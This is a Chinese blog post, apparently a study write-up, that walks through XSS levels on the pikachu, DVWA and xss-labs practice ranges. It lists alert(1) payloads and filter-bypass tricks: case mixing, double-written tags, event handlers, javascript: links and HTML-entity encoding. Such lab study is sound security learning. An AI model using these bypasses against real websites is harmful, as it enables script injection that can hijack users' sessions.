w25 web漏洞之xss

杭城我最帅

已于 2024-02-09 10:23:53 修改

阅读量309

点赞数 3

文章标签：前端 xss

于 2024-01-30 22:10:45 首次发布

本文链接：https://blog.csdn.net/zxcz123123421/article/details/135942058

版权

pikachu靶场

第一关-反射型xss（get）

利用hpp漏洞破解
在这里插入图片描述

第二关-反射型xss（post）

在这里插入图片描述

第三关-存储型xss

在留言板输入message=<script>alert(1)</script>
在这里插入图片描述

第四关-DOM型xss

what do you see? 是把输入框内的内容拼接url。

常见XSS语句标签,<a>
 <a href=javascript:alert('xss') > xss</a>
 <a href="" onclick="alert(1)"> xss</a>

在这里插入图片描述

第五关-DOM型xss

跟第四关一样
在这里插入图片描述

dvwa靶场

第一关-xss(Reflected)

思路：源码中对

#level:medium
<a href=javascript:alert(1)>123</a> //截图就是使用该命令
或
<scrip<script>t>alert(1)</scrip<script>t> //双写
或
<scripT>alert(1)</scripT> //大小写
或
# level：high
<input onfocus="alert(1);">
或
<img src="x" onerror=alert(1)> 
或
<button onclick="alert(1)">text</button>

在这里插入图片描述

第二关-xss(Stored)

跟第一关同理，可利用大小写。比较简单

#level:medium & high
<img src="x" onerror=alert(1)>

第三关

xss-labs靶场

第一关

通过修改name后面的值
在这里插入图片描述

第二关

结束前一个标签

"><scripT>alert(1)</scripT>

在这里插入图片描述

第三关

.htmlspecialchars
把预定义的字符转换为HTML实体，预定义的字符是&、'、"、<、>
<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>
输出结果
This is some <b>bold</b> text.

绕过预定义的字符，使用事件
' οnfοcus=alert(1);'

在这里插入图片描述

第四关

会把<（小于号）、>（大于号）都替换为空，思路跟第三关一样

" οnclick=alert(); "

在这里插入图片描述

第五关

里面会对<scri字符做特殊处理

"><a href=javascript:alert(1)>123</a>

在这里插入图片描述

第六关

大小写
在这里插入图片描述

第七关

会把script给替换为空，此时第一反应是双写

"><scripscriptt>alert(1)</scripscriptt>

在这里插入图片描述

第八关

对双引号和单引号进行转义

将keyword进行html实体编码，https://config.net.cn/tools/HtmlEncode.html
javascript:alert(1)  进行html实体编码（十进制），结果如下
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

在这里插入图片描述

第九关

提示你的链接不合法？

在第八关的基础上，添加http的网址，但是需要注释掉
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/*http://baidu.com*/

在这里插入图片描述